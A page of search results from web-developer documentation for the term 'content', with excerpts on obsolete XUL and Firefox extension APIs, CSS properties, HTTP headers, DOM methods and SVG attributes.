XUL accessibility guidelines - Archive of obsolete content
tab order provide a logical tab order and ensure that users can navigate all
content using a keyboard.
... context menus the context menu is the small menu activated with a right mouse click on a
content area or element (or with shift + f10 or vk_apps on windows and ctrl + click or ctrl + space on a mac).
...as a general rule, elements set to scroll are inaccessible if the user cannot scroll to all the
content using the keyboard.
...And 4 more matches
treecol - Archive of obsolete content
editable type: boolean allows the
contents of cells in the column to be changed, especially useful when type="checkbox".
... when the user double-clicks an editable cell, a text field appears in which the user can edit the
contents of the cell.
... sortdirection type: one of the values below set this attribute to set the direction that template-generated
content is sorted.
...And 4 more matches
Archived Mozilla and build documentation - Archive of obsolete content
blackconnect blackwood bonsai it is a tool that lets you perform queries on the
contents of a cvs archive; you can: get a list of checkins, see what checkins have been made by a given person, or on a given cvs branch, or in a particular time period.
...because of this close association between methods and attributes on the one hand, and
content on the other, calicalendarview implementations are particularly well suited to xbl.
... creating a hybrid cd creating a microsummary a microsummary generator is a set of instructions for creating a microsummary from the
content of a page.
...And 4 more matches
Extentsions FAQ - Archive of obsolete content
html
content here ...
..."); replaceme.parentnode.replacechild(newnode, replaceme); is it possible to place an image in the window that can be moved to anywhere in the window, and always remain on top of everything else?(similiar to using position:absolute and-index:100000 in html) you can almost do this with a stack: <window ...> <stack flex="1"> <image top="40" left="80"/> <vbox> other
content here </vbox> </stack> </window> the only restriction is that your image can't overlap the right or bottom of the window.
...however, it's functional and does allow for the explorer to be handling the display of the folder
contents, and all of the right-click context menu support is present so it should meet my needs.
...And 4 more matches
-ms-overflow-style - Archive of obsolete content
the -ms-overflow-style css property is a microsoft extension controlling the behavior of scrollbars when the
content of an element overflows.
... none scrollbars are never displayed, although the element can still be scrolled if the element's
content overflows.
... scrollbar "traditional" scrollbars are displayed if the element's
content overflows.
...And 4 more matches
display-inside - Archive of obsolete content
the display-inside css property specifies the inner display type of the box generated by an element, dictating how its
contents lay out inside the box.
... values auto if the element's computed <display-outside> value is inline-level, the element is an inline element, and lays out its
contents using inline layout.
... block the element lays out its
contents using block layout.
...And 4 more matches
CSS - Archive of obsolete content
it only works on mac os x.-ms-acceleratorthe -ms-accelerator css property is a microsoft extension that sets or retrieves a string indicating whether the object represents a keyboard shortcut.-ms-block-progressionthe -ms-block-progression css property is a microsoft extension that specifies the block progression and layout orientation.-ms-
content-zoom-chainingthe -ms-
content-zoom-chaining css property is a microsoft extension specifying the zoom behavior that occurs when a user hits the zoom limit during page manipulation.-ms-
content-zoom-limitthe -ms-
content-zoom-limit css shorthand property is a microsoft extension that specifies values for the -ms-
content-zoom-limit-min and -ms-
content-zoom-limit-max properties.-ms-
content-zoom-limit-m...
...axthe -ms-
content-zoom-limit-max css property is a microsoft extension that specifies the selected elements' maximum zoom factor.-ms-
content-zoom-limit-minthe -ms-
content-zoom-limit-min css property is a microsoft extension that specifies the minimum zoom factor.-ms-
content-zoom-snapthe -ms-
content-zoom-snap css shorthand property is a microsoft extension that specifies values for the -ms-
content-zoom-snap-type and -ms-
content-zoom-snap-points properties.-ms-
content-zoom-snap-pointsthe -ms-
content-zoom-snap-points css property is a microsoft extension that specifies where zoom snap-points are located.-ms-
content-zoom-snap-typethe -ms-
content-zoom-snap-type css property is a microsoft extension that specifies how zooming is affected by defined snap-points.-ms-
content-zoomingthe -ms-
content-zooming...
... css property is a microsoft extension that specifies whether zooming is enabled.-ms-filterthe -ms-filter css property is a microsoft extension that sets or retrieves the filter or collection of filters applied to an object.-ms-flow-fromthe -ms-flow-from css property is a microsoft extension that gets or sets a value identifying a region container in the document that accepts the
content flow from the data source.-ms-flow-intothe -ms-flow-into css property is a microsoft extension that gets or sets a value identifying an iframe container in the document that serves as the region's data source.-ms-high-contrast-adjustthe -ms-high-contrast-adjust css property is a microsoft extension that gets or sets a value indicating whether to override any css properties that would have been set in high contras...
...And 4 more matches
Properly Using CSS and JavaScript in XHTML Documents - Archive of obsolete content
content contained within comments (<!—— ...
... use of comments inside inline style and script authors who are familiar with html commonly enclose the
contents of inline style and script tags in comments in order to hide the
contents of the tags from browsers which do not understand them.
... <style type="text/css"> <!-- body {background-color: blue; color: yellow;} --> </style> <script type="text/javascript"> <!-- var i = 0; var sum = 0; for (i = 0; i < 10; ++i) { sum += i; } alert('sum = ' + sum); // --> </script> this example illustrates that a conformant browser can ignore
content inside of comments.
...And 4 more matches
Archive of obsolete content
here at mdn, we try to avoid outright deleting
content that might be useful to people targeting legacy platforms, operating systems, and browsers.
...or for "reasons," your company is required to use very old software and you need to build web
content that runs on that software.
...material in this archived
content zone should not be used for building new web sites or apps for modern browsers.
...And 4 more matches
Getting from Content to Layout
gecko maintains two separate representations of a document in memory: the
content tree and the frame tree.
... changes to a document originate in the
content tree (from dom modification by scripting, insertion of elements from the parser, etc.) and are propogated to the layout tree through magic that primarily resides in //github.com/realityripple/uxp/blob/master/layout/base/nscssframeconstructor.cpp the frame constructor implements nsimutationobserver which allows it to "watch" the
content tree.
... adds and removes frames to make the frame tree a proper representation of the new
content tree.
...And 4 more matches
Document: DOMContentLoaded event - Web APIs
the dom
contentloaded event fires when the initial html document has been completely loaded and parsed, without waiting for stylesheets, images, and subframes to finish loading.
...it is a common mistake to use load where dom
contentloaded would be more appropriate.
... examples basic usage document.addeventlistener('dom
contentloaded', (event) => { console.log('dom fully loaded and parsed'); }); delaying dom
contentloaded <script> document.addeventlistener('dom
contentloaded', (event) => { console.log('dom fully loaded and parsed'); }); for( let i = 0; i < 1000000000; i++) {} // this synchronous script is going to delay parsing of the dom, // so the dom
contentloaded event is going to launch later.
...And 4 more matches
Range.selectNodeContents() - Web APIs
the range.selectnode
contents() method sets the range to contain the
contents of a node.
... syntax range.selectnode
contents(referencenode); parameters referencenode the node whose
contents will be selected within a range.
... example range = document.createrange(); referencenode = document.getelementsbytagname("div")[0]; range.selectnode
contents(referencenode); live sample this example lets the user select and deselect a paragraph with buttons.
...And 4 more matches
Understanding the Web Content Accessibility Guidelines - Accessibility
this set of articles provides quick explanations to help you understand the steps that need to be taken to conform to the recommendations outlined in the w3c web
content accessibility guidelines 2.0 or 2.1 (or just wcag, for the purposes of this writing).
... the wcag 2.0 and 2.1 provide a detailed set of guidelines for making web
content more accessible to people with a wide variety of disabilities.
... the four principles wcag is broadly broken down into four principles — major things that web
content must be to be considered accessible (see understanding the four principles of accessibility for the wcag definitions).
...And 4 more matches
<div>: The Content Division element - HTML: Hypertext Markup Language
the html
content division element (<div>) is the generic container for flow
content.
... it has no effect on the
content or layout until styled using css.
...instead, it's used to group
content so it can be easily styled using the class or id attributes, marking a section of a document as being written in a different language (using the lang attribute), and so on.
...And 4 more matches
Content-Language - HTTP
the
content-language entity header is used to describe the language(s) intended for the audience, so that it allows a user to differentiate according to the users' own preferred language.
... for example, if "
content-language: de-de" is set, it says that the document is intended for german language speakers (however, it doesn't indicate the document is written in german.
... if no
content-language is specified, the default is that the
content is intended for all language audiences.
...And 4 more matches
Content-Type - HTTP
the
content-type entity header is used to indicate the media type of the resource.
... in responses, a
content-type header tells the client what the
content type of the returned
content actually is.
... browsers will do mime sniffing in some cases and will not necessarily follow the value of this header; to prevent this behavior, the header x-
content-type-options can be set to nosniff.
...And 4 more matches
Media type and format guide: image, audio, and video content - Web media technologies
the modern web has powerful features to support the presentation and manipulation of media, with several media-related apis supporting various types of
content.
...it also provides browser support information for various combinations of these, and suggestions for prioritization of formats, as well as which formats excel at specific types of
content.
... references images image file type and format guide covers support of image file types and
content formats across the major web browsers, as well as providing basic information about each type: benefits, limitations, and use cases of interest to web designers and developers.
...And 4 more matches
patternContentUnits - SVG: Scalable Vector Graphics
the pattern
contentunits attribute indicates which coordinate system to use for the
contents of the <pattern> element.
... only one element is using this attribute: <pattern> html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <!-- a pattern tile that
content coordinates and values are computed against the current coordinate user space.
... note that the size of the tile is computed against the bounding box of the target element --> <pattern id="p1" width="20%" height="20%" pattern
contentunits="userspaceonuse"> <circle cx="10" cy="10" r="10" /> </pattern> <!-- a pattern tile that
content coordinates and values are computed against the bounding box of the target element.
...And 4 more matches
io/file - Archive of obsolete content
open(path, mode) returns a stream providing access to the
contents of a file.
...if "b" is not present, the file is opened in text mode, and its
contents are assumed to be utf-8.
... read(path, mode) opens a file and returns a string containing its entire
contents.
...And 3 more matches
ui/toolbar - Archive of obsolete content
like a panel, a toolbar's
content is specified using html.
... unlike a panel, a toolbar: does not overlap with any web
content is persistent, remaining visible until the user chooses to close it is a fixed size, and appears in a fixed location usage creating and destroying toolbars you don't specify toolbar
content directly: instead, you create other ui components and supply them to the toolbar constructor.
...ous", icon: "./icons/previous.png" }); var next = actionbutton({ id: "next", label: "next", icon: "./icons/next.png" }); var play = actionbutton({ id: "play", label: "play", icon: "./icons/play.png" }); var frame = new frame({ url: "./frame-player.html" }); var toolbar = toolbar({ title: "player", items: [previous, next, play, frame] }); the toolbar appears just above the
content window: to destroy a toolbar call its destroy() method.
...And 3 more matches
Add a Context Menu Item - Archive of obsolete content
when it's clicked, the selection is sent to the main add-on code, which just logs it: var contextmenu = require("sdk/context-menu"); var menuitem = contextmenu.item({ label: "log selection", context: contextmenu.selectioncontext(),
contentscript: 'self.on("click", function () {' + ' var text = window.getselection().tostring();' + ' self.postmessage(text);' + '});', onmessage: function (selectiontext) { console.log(selectiontext); } }); try it: run the add-on, load a web page, select some text and right-click.
...the constructor in this case takes four options: label, context,
contentscript, and onmessage.
...
contentscript this attaches a script to the item.
...And 3 more matches
Miscellaneous - Archive of obsolete content
yinterface(components.interfaces.nsiinterfacerequestor) .getinterface(components.interfaces.nsidomwindowutils); utils.sendmouseevent("mousedown", 10, 10, 0, 1, 0); utils.sendmouseevent("mouseup", 10, 10, 0, 1, 0); getting the currently selected text from browser.xul overlay context: var selectedtext = document.commanddispatcher.focusedwindow.getselection().tostring(); or:
content.getselection(); // |window| object is implied; i.e., window.
content.getselection() or: getbrowserselection(); // |window| object is implied; i.e., window.getbrowserselection() this final option massages the selection to remove leading and trailing whitespace.
...it is defined at //github.com/realityripple/pale-moon/blob/master/palemoon/base/
content/browser.js#l5113.
... see also http://mxr.mozilla.org/seamonkey/source/browser/base/
content/browser.js#4674 discovering which element in the loaded document has focus // focusedcontrol stores the focused field, or null if there is none.
...And 3 more matches
On page load - Archive of obsolete content
creating an overlay first, you need to create an overlay to one (or more, depending on which applications you target) of the following xul documents: application uri to overlay firefox chrome://browser/
content/browser.xul thunderbird chrome://messenger/
content/messenger.xul navigator from seamonkey chrome://navigator/
content/navigator.xul attaching a script attach a script to your overlay (see "attaching a script to an overlay") that adds a load event listener to app
content element (browsers) or messagepane (mail): window.addeventlistener("load", function load(event){ ...
... window.removeeventlistener("load", load, false); //remove listener, no longer needed myextension.init(); },false); var myextension = { init: function() { var app
content = document.getelementbyid("app
content"); // browser if(app
content){ app
content.addeventlistener("dom
contentloaded", myextension.onpageload, true); } var messagepane = document.getelementbyid("messagepane"); // mail if(messagepane){ messagepane.addeventlistener("load", function(event) { myextension.onpageload(event); }, true); } }, onpageload: function(aevent) { var doc = aevent.originaltarget; // doc is document that triggered "onload" event // do something with the loaded page.
...to attach to the unload event in above example you can use the "pagehide" event like this: app
content.addeventlistener("pagehide", myextension.onpageunload, false); for app
content and similarly for messagepane messagepane.addeventlistener("pagehide", myextension.onpageunload, false); and add your code to onpageunload method.
...And 3 more matches
Extension Theming Guidelines - Archive of obsolete content
skin packages just as extension code should exist in chrome
content packages, all of the styling for an extension including css and images should exist in a chrome skin package.
... custom themes may then register a replacement for your skin package allowing them to provide their own styles for all of your
content.
... branding certain items of your extensions style, in particular logos and icons can be kept in the chrome
content package such that they are not replaceable by custom themes stylesheets guidelines include stylesheets for every new window that your extension adds and for every window that your extension overlays
content into be sure to add a stylesheet from your chrome skin package.
...And 3 more matches
Chapter 2: Technologies used in developing extensions - Archive of obsolete content
listing 1: xml syntax <elementname someattribute="somevalue">
content </elementname> as shown in listing 1, xml uses elements, which consist of an opening tag, a closing tag, and
content.
... note: elements that take no
content can be expressed in compact form as <elementname/>.
... an element can include other elements as well as text in its
content, and all information is structured as a tree.
...And 3 more matches
Adding Events and Commands - Archive of obsolete content
another way to attach event handlers, just like html, is to place the handler in the xul code: <overlay id="xulschoolhello-browser-overlay" onload="xulschoolchrome.browseroverlay.init();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> we prefer the first method because it keeps a better separation of
content and behavior.
... custom events serve as a good communication mechanism, specially when dealing with a somewhat common problem: communication between window xul and web page
content.
... it isn't hard for xul code to control the
content on pages being loaded or displayed, as we will see later on, but it can be hard for your extension xul code to receive information from pages in a secure manner.
...And 3 more matches
The Box Model - Archive of obsolete content
the css property may be useful on some occasions, but using the orient attribute is not recommended because it mixes
content and presentation.
... flexibility an html div is as big as its
contents unless you override its dimensions using css.
...an hbox is as big as its
contents horizontally, but it will occupy all the available space vertically.
...And 3 more matches
Defining Cross-Browser Tooltips - Archive of obsolete content
the classic example is a "tooltip" of an image; when the user pauses the mouse pointer over an image, the
contents of the alt attribute are displayed as a "tooltip." gecko-based browsers such as mozilla, netscape 6+, and compuserve 7 do not support this behavior.
... in other words, alt text should only be displayed when a user agent cannot display the primary
content of the element (e.g., a text-mode browser that cannot display images).
...a quick check of various user agents showed that title attribute
contents were displayed as a "tooltip" in: gecko-based browsers (mozilla firefox, netscape 6+, etc.) internet explorer 5.5+/win internet explorer 5.x/mac safari opera 6.x+ of these, only ie/win treated alt text as a "tooltip"; the other browsers did not reproduce this behavior.
...And 3 more matches
Mozilla Application Framework in Detail - Archive of obsolete content
where speed is the foremost consideration, we provide c++ libraries with multi-language interfaces for comprehensive, performant access to networking, filesystem,
content, rendering, and much more.
...its ability to render web
content correctly is exceptional.
...with gecko, mozilla has cleanly separated the browser engine component from the rest of the client software so it can be embedded and used to interpret, display and run web
content, applications and services on any computing platform or device.
...And 3 more matches
New Skin Notes - Archive of obsolete content
the main
content layout will not change.
...--nickolay 04:46, 25 aug 2005 (pdt) the sidebar overrides
content on diff pages --nickolay turns out this was fixed for 1.5 already.
...--dria well, with mediawiki skin, you can have the clear:both's in
content area without a problem.
...And 3 more matches
Learn XPI Installer Scripting by Example - Archive of obsolete content
first, a quick scan of the
contents of the xpi file (which you can open using with any unzip utility) reveals the following high-level directory structure: install.js bin\ chrome\ components defaults\ icons\ plugins\ res\ note that this high-level structure parallels the directory structure of the installed browser very closely: as you will see in the installation script, the
contents of the archive are installed...
...in the example above, all of the
contents of the "bin" directory in the archive are queued for installation, and the target of that installation (when the installation is actually begun with a call to performinstall at the end), is the communicatorfolder directory defined at line 22 as "program." "program" is one of a short list of keywords that can be used in place of full path names in methods such as addfile.
... var cf = getfolder("chrome"); registerchrome(
content | delayed_chrome, getfolder(cf,"toolkit.xpi"),"
content/global/"); registerchrome(
content | delayed_chrome, getfolder(cf,"browser.xpi"),"
content/communicator/"); registerchrome(
content | delayed_chrome, getfolder(cf,"browser.xpi"),"
content/editor/"); registerchrome(
content | delayed_chrome, getfolder(cf,"browser.xpi"),"
content/navigator/"); registerchrome(skin | delayed_chrome, getfolder(cf,"m...
...And 3 more matches
Extensions - Archive of obsolete content
an extension may modify the context menu to show additional items that either appear always, or appear only when certain
content is selected.
...this context menu has the id '
contentareacontextmenu'.
... <popup id="
contentareacontextmenu"> <menuitem id="thumbnail-show" label="view thumbnail" oncommand="thumbnails.view();"/> </popup> note that the popup element is used rather than the menupopup element as this is the element that firefox uses.
...And 3 more matches
Multiple Queries - Archive of obsolete content
« previousnext » so far, every template has contained only a single query, even for recursive
content.
...here is an example using an rdf datasource: <hbox id="photoslist" datasources="template-guide-photos3.rdf" ref="http://www.xulplanet.com/rdf/myphotos"> <template> <queryset> <query> <
content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="canal"/> </query> <action> <button uri="?photo" image="?photo" label="view" orient="vertical"/> </action> </queryset> <queryset> <query> <
content uri="?start"/> ...
...in fact, the
content for this photo is that of the first query with the button, whereas the
content for the other photos are that of the second query with the normal images.
...And 3 more matches
Using Recursive Templates - Archive of obsolete content
« previousnext » you may recall that templates generate
content recursively.
...this is usually used to generate
content in a tree or menu.
...the
content of the action body is again generated for each result, but instead of being inserted inside the outermost groupbox, this new
content is inserted inside the
content generated from the previous iteration.
...And 3 more matches
Creating toolbar buttons (Customize Toolbar Window) - Archive of obsolete content
note: some people overlay chrome://messenger/
content/mailwindowoverlay.xul.
... to include the style on your chrome.manifest file: style chrome://global/
content/customizetoolbar.xul chrome://myextension/skin/toolbar-button.css if you are developing for firefox 1.0, attach it to the customize toolbar window (chrome://global/
content/customizetoolbar.xul) using skin/
contents.rdf.
...illa.org/rdf/chrome#"> <seq about="urn:mozilla:skin:root"> <li resource="urn:mozilla:skin:classic/1.0"/> </seq> <description about="urn:mozilla:skin:classic/1.0"> <chrome:packages> <seq about="urn:mozilla:skin:classic/1.0:packages"> <li resource="urn:mozilla:skin:classic/1.0:myextension"/> </seq> </chrome:packages> </description> <seq about="urn:mozilla:stylesheets"> <li resource="chrome://global/
content/customizetoolbar.xul"/> </seq> <seq about="chrome://global/
content/customizetoolbar.xul"> <li>chrome://myextension/skin/toolbar-button.css</li> </seq> </rdf> the skin/
contents.rdf file is denigrated in developing for later releases of firefox.
...And 3 more matches
Install Scripts - Archive of obsolete content
the adddirectory() function tells the installer that a directory from the xpi archive (and all of its
contents) should be installed to a particular location.
...it takes two arguments, the first is the type of chrome to register (
content, skin or locale).
... the second is the directory containing the
contents.rdf file to register.
...And 3 more matches
Popup Menus - Archive of obsolete content
they are much like the menus on the menu bar, except that they can be placed anywhere and can contain any
content.
... declaring popup
content a popup is described using the menupopup element.
... the second method is to use a tooltip element containing the
content of a tooltip.
...And 3 more matches
XUL Template Primer - Bindings - Archive of obsolete content
warning: the
content of this article may be out of date.
... example to illustrate how <bindings> work, we'll examine this xul document, which builds a simple
content model an rdf/xml file.
... <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin" type="text/css"?> <window xmlns:html="http://www.w3.org/1999/xhtml" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" align="vertical"> <vbox datasources="friends.rdf" ref="urn:root"> <template> <rule> <conditions> <
content uri="?uri"/> <triple subject="?uri" predicate="http://home.netscape.com/nc-rdf#friends" object="?friends"/> <member container="?friends" child="?friend"/> <triple subject="?friend" predicate="http://home.netscape.com/nc-rdf#name" object="?name"/> </conditions> <bindings> <binding subject="?friend" predicate="http://ho...
...And 3 more matches
treecell - Archive of obsolete content
attributes editable, label, mode, properties, ref, src, value attributes editable type: boolean allows the
contents of individual cells in the column to be changed, especially useful when <treecol type="checkbox">.
...when the user double-clicks an editable cell, a text field appears in which the user can edit the
contents of the cell.
...the tree must be a
content tree for this to work on treecells.
...And 3 more matches
Debugging a XULRunner Application - Archive of obsolete content
xulrunner.exe /path/to/application.ini -jsconsole by default the js console only shows errors from web
content.
... add <script src="chrome://venkman/
content/venkman-overlay.js" /> to one of your xul windows.
... security error:
content at x-jsd:source?location=chrome%3a%2f%2fvenkman%2f
content%2fvenkman-overlay.js&instance=12 may not load or link to chrome://venkman/skin/venkman-source.css.
...And 3 more matches
Getting started with XULRunner - Archive of obsolete content
the
contents of omni.ja are available to xulrunner applications and are what make it possible to build amazing applications easily!
...here is the subfolder structure: + myapp/ | +-+ chrome/ | | | +-+
content/ | | | | | +-- main.xul | | | | | +-- main.js | | | +-- chrome.manifest | +-+ defaults/ | | | +-+ preferences/ | | | +-- prefs.js | +-- application.ini | +-- chrome.manifest notice that there are 5 files in the folder structure: application.ini, chrome.manifest (2), prefs.js, and main.xul.
...here is the chrome/chrome.manifest:
content myapp
content/ as mentioned in step 3, the default location of the chrome.manifest has changed in xulrunner 2.0, so we also need a simple chrome.manifest in the application root which will include the the manifest in our chrome root.
...And 3 more matches
E4X for templating - Archive of obsolete content
it will be disabled by default for
content in firefox 16, disabled by default for chrome in firefox 17, and removed in firefox 18.
...e4x can be used for creating templates for dynamic
content.
...; } return strs.getstringfromname(msg); } for example, <toolbarbutton label={$s('mytoolbar.label')}/> conditionals function _if (cond, h, _else) { if (cond && cond != undefined) { // we need undefined condition for e4x return h(cond); } else if (_else) { return _else(cond); } return ''; // empty string allows conditions in attribute as well as element
content } for example: {_if(elems.length(), function () <description>{elems[0]}</description>, function _else () <label>no data</label> )} note that the simple xmllist() constructor (<></>) may be useful to still be able to use an expression closure (i.e., without needing return statements and braces): {_if(elems.length(), function () <> <markup/> <markup/> </>)} note that, w...
...And 3 more matches
XForms Repeat Element - Archive of obsolete content
for each node in the nodeset, the
contents of the repeat element will be displayed in the form.
...the most useful actions for altering the
contents of a repeat are the insert (see the spec), delete (see the spec) and setindex (see the spec) elements.
...model id="i_model"> <xforms:instance xmlns=""> <data xmlns:html="http://www.w3.org/1999/xhtml" xmlns=""> <val id="1"> <nest>nest 1.1</nest> <nest>nest 1.2</nest> </val> <val id="2"> <nest>nest 2.1</nest> <nest>nest 2.2</nest> </val> </data> </xforms:instance> </xforms:model> <div xforms:repeat-nodeset="val"> this is the inline
content, just text.
...And 3 more matches
Structuring a page of content - Learn web development
previous overview: introduction to html structuring a page of
content ready for laying it out using css is a very important skill to master, so in this assessment you'll be tested on your ability to think about how a page might end up looking, and choose appropriate structural semantics to build a layout on top of.
... project brief for this project, your task is to take the
content for the homepage of a bird watching website and add structural elements to it so it can have a page layout applied to it.
... a main
content area containing two columns — a main block to contain the welcome text, and a sidebar to contain image thumbnails.
...And 3 more matches
nsIContentFrameMessageManager
idl file: mozilla-central/source/dom/base/nsimessagemanager.idl inherits from: nsisyncmessagesender this interface provides the environment for scripts that are loaded into
content frames using the nsiframescriptloader interface.
... frame scripts can send either synchronous or asynchronous messages to the chrome process: for details on these messaging apis see the documentation for the nsi
contentframemessagemanager's parent classes nsisyncmessagesender and nsimessagesender.
... attributes
content nsidomwindow: the current top level window in the frame or null.
...And 3 more matches
nsIContentPrefObserver
dom/interfaces/base/nsi
contentprefservice.idlscriptable this interface allows code to easily watch for changes to the values of
content preferences.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview void on
contentprefremoved(in astring agroup, in astring aname); void on
contentprefset(in astring agroup, in astring aname, in nsivariant avalue); methods on
contentprefremoved() called when a
content preference is removed.
... void on
contentprefremoved( in astring agroup, in astring aname ); parameters agroup the group to which the removed preference belonged; this may be the uri of a web site.
...And 3 more matches
nsITreeContentView
the nsitree
contentview interface is implemented by tree views that are backed by dom
content.
... layout/xul/base/src/tree/public/nsitree
contentview.idlscriptable please add a summary to this article.
... last changed in gecko 1.8.0 inherits from: nsisupports method overview long getindexofitem(in nsidomelement item); nsidomelement getitematindex(in long index); attributes attribute type description root nsidomelement the element in the dom which this view uses as root
content.
...And 3 more matches
Navigator.registerContentHandler() - Web APIs
allows web sites to register themselves as possible handlers for
content of a particular mime type.
... note: web sites may only register
content handlers for themselves.
... for security reasons, it's not possible for an extension or web site to register
content handlers targeting other sites.
...And 3 more matches
Text.isElementContentWhitespace - Web APIs
note: you may simply replace it with /\s+/.test(text.data), /\s+/.test(text.nodevalue), or /\s+/.test(text.text
content).
... putting any property that represents the textual
content of the text node into test() should do the same work just like the three example above.
... the text.iselement
contentwhitespace read-only property returns a boolean flag indicating whether or not the text node's
content consists solely of whitespace.
...And 3 more matches
contenteditable - HTML: Hypertext Markup Language
the
contenteditable global attribute is an enumerated attribute indicating if the element should be editable by the user.
... if the attribute is given without a value, like <label
contenteditable>example label</label>, its value is treated as an empty string.
... specifications specification status comment html living standardthe definition of '
contenteditable' in that specification.
...And 3 more matches
CSP: block-all-mixed-content - HTTP
the http
content-security-policy (csp) block-all-mixed-
content directive prevents loading any assets over http when the page uses https.
... all mixed
content resource requests are blocked, including both active and passive mixed
content.
... this also applies to <iframe> documents, ensuring the entire page is mixed
content-free.
...And 3 more matches
X-Content-Type-Options - HTTP
the x-
content-type-options response http header is a marker used by the server to indicate that the mime types advertised in the
content-type headers should not be changed and be followed.
... this header was introduced by microsoft in ie 8 as a way for webmasters to block
content sniffing that was happening and could transform non-executable mime types into executable mime types.
... starting with firefox 72, the opting out of mime sniffing is also applied to top-level documents if a
content-type is provided.
...And 3 more matches
206 Partial Content - HTTP
the http 206 partial
content success status response code indicates that the request has succeeded and has the body contains the requested ranges of data, as described in the range header of the request.
... if there is only one range, the
content-type of the whole response is set to the type of the document, and a
content-range is provided.
... if several ranges are sent back, the
content-type is set to multipart/byteranges and each fragment covers one range, with
content-range and
content-type describing it.
...And 3 more matches
maskContentUnits - SVG: Scalable Vector Graphics
the mask
contentunits attribute indicates which coordinate system to use for the
contents of the <mask> element.
... only one element is using this attribute: <mask> html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <mask id="mymask1" mask
contentunits="userspaceonuse"> <rect fill="black" x="0" y="0" width="100%" height="100%" /> <circle fill="white" cx="50" cy="50" r="35" /> </mask> <mask id="mymask2" mask
contentunits="objectboundingbox"> <rect fill="black" x="0" y="0" width="100%" height="100%" /> <circle fill="white" cx=".5" cy=".5" r=".35" /> </mask> <!-- some reference rect to materialized the mask --> <rect id="r1" x="0" y="0" width="45" height="45" /> <rect id="r2" x="0" y="55" width="45" height="45" /> <rect id="r3" x="55" y="55" width="45" height="45" /> <rect id="r4" x="55" y="0" width="45" height="45" /> <...
...!-- the first 3 rect are masked with usespaceonuse units --> <use mask="url(#mymask1)" xlink:href="#r1" fill="red" /> <use mask="url(#mymask1)" xlink:href="#r2" fill="red" /> <use mask="url(#mymask1)" xlink:href="#r3" fill="red" /> <!-- the last rect is masked with objectboundingbox units --> <use mask="url(#mymask2)" xlink:href="#r4" fill="red" /> </svg> mask for <mask>, mask
contentunits defines the coordinate system in use for the
content of the element.
...And 3 more matches
Implementing the widget - Archive of obsolete content
because the widget's click event does not distinguish left and right mouse clicks, we'll use a
content script to capture the click events and send the corresponding message back to our add-on.
... so there are three files we'll need to create: the widget's
content script and its two icons.
... the widget's
content script the widget's
content script just listens for left- and right- mouse clicks and posts the corresponding message to the add-on code: this.addeventlistener('click', function(event) { if(event.button == 0 && event.shiftkey == false) self.port.emit('left-click'); if(event.button == 2 || (event.button == 0 && event.shiftkey == true)) self.port.emit('right-click'); event.preventdefault(); }, true); save this in your data/widget directory as widget.js.
...And 2 more matches
Localization - Archive of obsolete content
it doesn't, yet, support localization of css or
content scripts, or the add-on's title and description that appear in the add-ons manager.
...<h1 data-l10n-id="hello_id"></h1> </body> </html> then you can use this html file to build your interface, for example inside a panel: var button = require("sdk/ui/button/action").actionbutton({ id: "localized-hello", label: "localized hello", icon: "./icon-16.png", onclick: function() { hello.show(); } }); var hello = require("sdk/panel").panel({ height: 75, width: 150,
contenturl: require("sdk/self").data.url("my-panel.html") }); given locale files for "en-us" and "fr" which provide translations of hello_id, the panel will now display "hello!" or "bonjour !", according to the current locale: the translation is inserted into the node which has the data-l10n-id attribute set.
... any previously existing
content is just replaced.
...And 2 more matches
StringView - Archive of obsolete content
it can be: another stringview a string a number an arraybuffer a typed array of uint8array, uint16array, or uint32array subclass any other kind of ordered object (like arrays, collections, etc.) if it is a number it will become the length of the new stringview; otherwise it will become its
content.
...if you want to see how to create a stringview bigger than its
content, please, see this note.
... valueof() syntax stringview.valueof() description converts stringview's
content into string and returns it.
...And 2 more matches
Extension Versioning, Update and Compatibility - Archive of obsolete content
ubctqdf1wgtsgk jrgzow1fitkzi7w0//c8ekdmlatguegfns2iltd5p/0kh/hf1rpc1wuqeqkcd4+l bcvq13ad</em:signature> </rdf:description> <!-- this represents the same description within the li from the previous example --> <rdf:description about="urn:mozilla:extension:foobar@developer.mozilla.org:2.2"> <em:version>2.2</em:version> <!-- trimmed the rest of the
contents here --> </rdf:description> <rdf:description about="urn:mozilla:extension:foobar@developer.mozilla.org:2.5"> <em:version>2.5</em:version> <!-- trimmed the rest of the
contents here --> </rdf:description> </rdf:rdf> note: it is possible to change the id of add-on through add-on update.
... formatting prior to firefox 4 prior to firefox 4 you could only use the following tags, any other tags have themselves and their
contents completely stripped: h1, h2 and h3 for general headings p for paragraphs ul and ol for lists.
...the following tags are interpreted normally: h1, h2 and h3 for general headings p, div, pre and blockquote for block formatting ul, ol, li, dl, dt and dd for lists b, i, em, strong, u, q, sub, sup and code for text formatting br and hr for line breaking the head, style and script tags and any of their
contents are completely stripped.
...And 2 more matches
Adding Toolbars and Toolbar Buttons - Archive of obsolete content
the way to include the file in the manifest is to add this line: style chrome://global/
content/customizetoolbar.xul chrome://xulschoolhello/skin/toolbar.css if you are using xbl bindings (explained way ahead) for your toolbar items, you'll have to include the css files for those as well, each in a new line like the one above.
...if you shrink the firefox window, you'll notice that the
content resizes until it reaches its minimum size and begin to be cropped (cut), making ui elements disappear.
... you should test that your toolbar resizes gracefully and doesn't force firefox to crop
content before it's strictly necessary.
...And 2 more matches
Appendix F: Monitoring DOM changes - Archive of obsolete content
hashchange and popstate events most ajax-heavy sites update the url when they significantly change their
content, either via a change to the fragment identifier (hash) or more recently via the history.pushstate method.
...these requests can be tracked from chrome code using a variety of methods, including web progress listeners, http observers, and
content policies.
...e: ' + event + ' !important;' ]; properties = properties.map(function (prop) ' ' + watchnodes.namespace + prop) .join('\n'); doc.addeventlistener('animationstart', listener, false); function listener(event) { if (event.animationname == event) callback.call(this, event); } style.text
content = ' ' + preamble + selector + '{' + properties + '}'; (doc.head || doc.documentelement).appendchild(style); // this will only work in chrome privileged code.
...And 2 more matches
User Notifications and Alerts - Archive of obsolete content
they are thin boxes that appear from beneath the tab list and above the page
content, with some text and maybe a few buttons.
